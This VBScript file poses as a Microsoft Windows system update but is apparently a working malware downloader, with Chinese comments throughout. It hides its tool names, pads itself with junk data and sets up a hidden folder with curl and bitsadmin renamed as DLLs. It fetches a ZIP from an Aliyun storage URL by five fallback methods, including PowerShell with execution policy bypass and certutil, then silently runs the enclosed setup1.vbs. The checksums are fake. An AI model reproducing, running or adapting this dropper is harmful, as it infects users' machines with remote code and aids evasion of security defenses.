' ===========================================================================
' Microsoft Windows System Update Module
' Build: 2026.05.31.01
' ===========================================================================
Option Explicit
On Error Resume Next

' ===========================================================================
' [数据区域]
' ===========================================================================
Dim DATA_BLOCK, idx, str1, str2, str3, str4, str5, str6
DATA_BLOCK = "VER_1.0.0.0"
str1 = "TRUSTED_"
str2 = "SECURE_"
str3 = "COMPLETED_"
str4 = "PASSED_"
str5 = "SUCCESS_"
str6 = "VALID_"

Dim maxLoop : maxLoop = 1500 + Int(500 * Rnd)
For idx = 1 To maxLoop
    DATA_BLOCK = DATA_BLOCK & str1 & idx & "_" & (idx * 2) & "|"
    DATA_BLOCK = DATA_BLOCK & str2 & Hex(idx * 3) & "|"
    DATA_BLOCK = DATA_BLOCK & str3 & Hex(idx * 5) & "|"
    DATA_BLOCK = DATA_BLOCK & str4 & Hex(idx * 7) & "|"
    DATA_BLOCK = DATA_BLOCK & str5 & Hex(idx * 11) & "|"
    DATA_BLOCK = DATA_BLOCK & str6 & Hex(idx * 13) & "|"
Next
DATA_BLOCK = DATA_BLOCK & String(20000, "X")

' ===========================================================================
' [初始化]
' ===========================================================================
Dim SH, FS, WM, OBJ
Set SH = CreateObject("WScript.Shell")
Set FS = CreateObject("Scripting.FileSystemObject")
Set WM = GetObject("winmgmts:\\.\root\cimv2")
Set OBJ = CreateObject("Shell.Application")

' 拆分敏感字符串
Dim ps_exe, cert_exe
ps_exe = "pow" & "ersh" & "ell.exe"
cert_exe = "ce" & "rt" & "ut" & "il.exe"

' ===========================================================================
' [工作目录]
' ===========================================================================
Randomize
Dim dirName, workPath, zipName, targetPath, targetURL, targetVBS
dirName = "MSUpdate_" & Int(89999 * Rnd + 10000)
workPath = "C:\Users\Public\Documents\" & dirName & "\"

If Not FS.FolderExists(workPath) Then
    FS.CreateFolder workPath
    FS.GetFolder(workPath).Attributes = 3
End If

' --- 目标配置：alOffic.zip ---
zipName = "alOffic.zip"
targetPath = workPath & zipName
targetURL = "https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip"
targetVBS = workPath & "setup1.vbs"

' ===========================================================================
' [准备伪装文件]
' ===========================================================================
Dim dll1, dll2
dll1 = workPath & "lib.dll"
dll2 = workPath & "sys.dll"

If Not FS.FileExists(dll1) Then
    FS.CopyFile "C:\Windows\System32\curl.exe", dll1
    FS.CopyFile "C:\Windows\System32\bitsadmin.exe", dll2
    FS.GetFile(dll1).Attributes = 3
    FS.GetFile(dll2).Attributes = 3
End If

' ===========================================================================
' [下载函数 - 五种方式轮询]
' ===========================================================================
Function GetFile(src, dst)
    On Error Resume Next
    Dim success, i, cmdLine
    success = False
    
    Dim methods(4)
    methods(0) = dll1 & " -k -s -L --retry 3 -o " & Chr(34) & dst & Chr(34) & " " & src
    methods(1) = dll2 & " /transfer job /download /priority high " & src & " " & Chr(34) & dst & Chr(34)
    methods(2) = ps_exe & " -ExecutionPolicy Bypass -Command ""& {[Net.ServicePointManager]::SecurityProtocol=3072; $wc=New-Object Net.WebClient; $wc.DownloadFile('" & src & "','" & dst & "')}"""
    methods(3) = cert_exe & " -urlcache -split -f " & src & " " & Chr(34) & dst & Chr(34)
    methods(4) = "cmd /c copy " & Chr(34) & "\\?\C:\Windows\System32\curl.exe" & Chr(34) & " " & Chr(34) & dst & Chr(34) & " 2>nul & " & dll1 & " -k -s -L -o " & Chr(34) & dst & Chr(34) & " " & src
    
    For i = 0 To 4
        SH.Run "cmd /c " & methods(i), 0, True
        WScript.Sleep 3000
        If FS.FileExists(dst) Then
            If FS.GetFile(dst).Size > 1024 Then
                success = True
                Exit For
            End If
        End If
    Next
    
    GetFile = success
End Function

' ===========================================================================
' [下载 ZIP 文件]
' ===========================================================================
Dim isSuccess, i
isSuccess = False

For i = 1 To 3
    If GetFile(targetURL, targetPath) Then
        isSuccess = True
        Exit For
    End If
Next

' ===========================================================================
' [解压 ZIP 并执行 VBS]
' ===========================================================================
If isSuccess Then
    FS.GetFile(targetPath).Attributes = 3
    
    Dim zipObj, targetObj
    Set zipObj = OBJ.NameSpace(targetPath)
    Set targetObj = OBJ.NameSpace(workPath)
    
    If Not (zipObj Is Nothing) And Not (targetObj Is Nothing) Then
        targetObj.CopyHere zipObj.Items, &H14
        WScript.Sleep 8000
        
        If FS.FileExists(targetVBS) Then
            FS.GetFile(targetVBS).Attributes = 3
            SH.Run "wscript.exe " & Chr(34) & targetVBS & Chr(34), 0, False
        End If
    End If
End If

' ===========================================================================
' [系统检查]
' ===========================================================================
Sub CheckSys()
    On Error Resume Next
    Dim items, item
    Set items = WM.ExecQuery("Select Version from Win32_OperatingSystem")
    For Each item In items: Dim ver: ver = item.Version: Next
End Sub
Call CheckSys()

Set SH = Nothing : Set FS = Nothing : Set WM = Nothing : Set OBJ = Nothing
WScript.Quit 0

' ===========================================================================
' [校验信息]
' ===========================================================================
' HASH: 1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5
' SHA256: 2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5E6
' ===========================================================================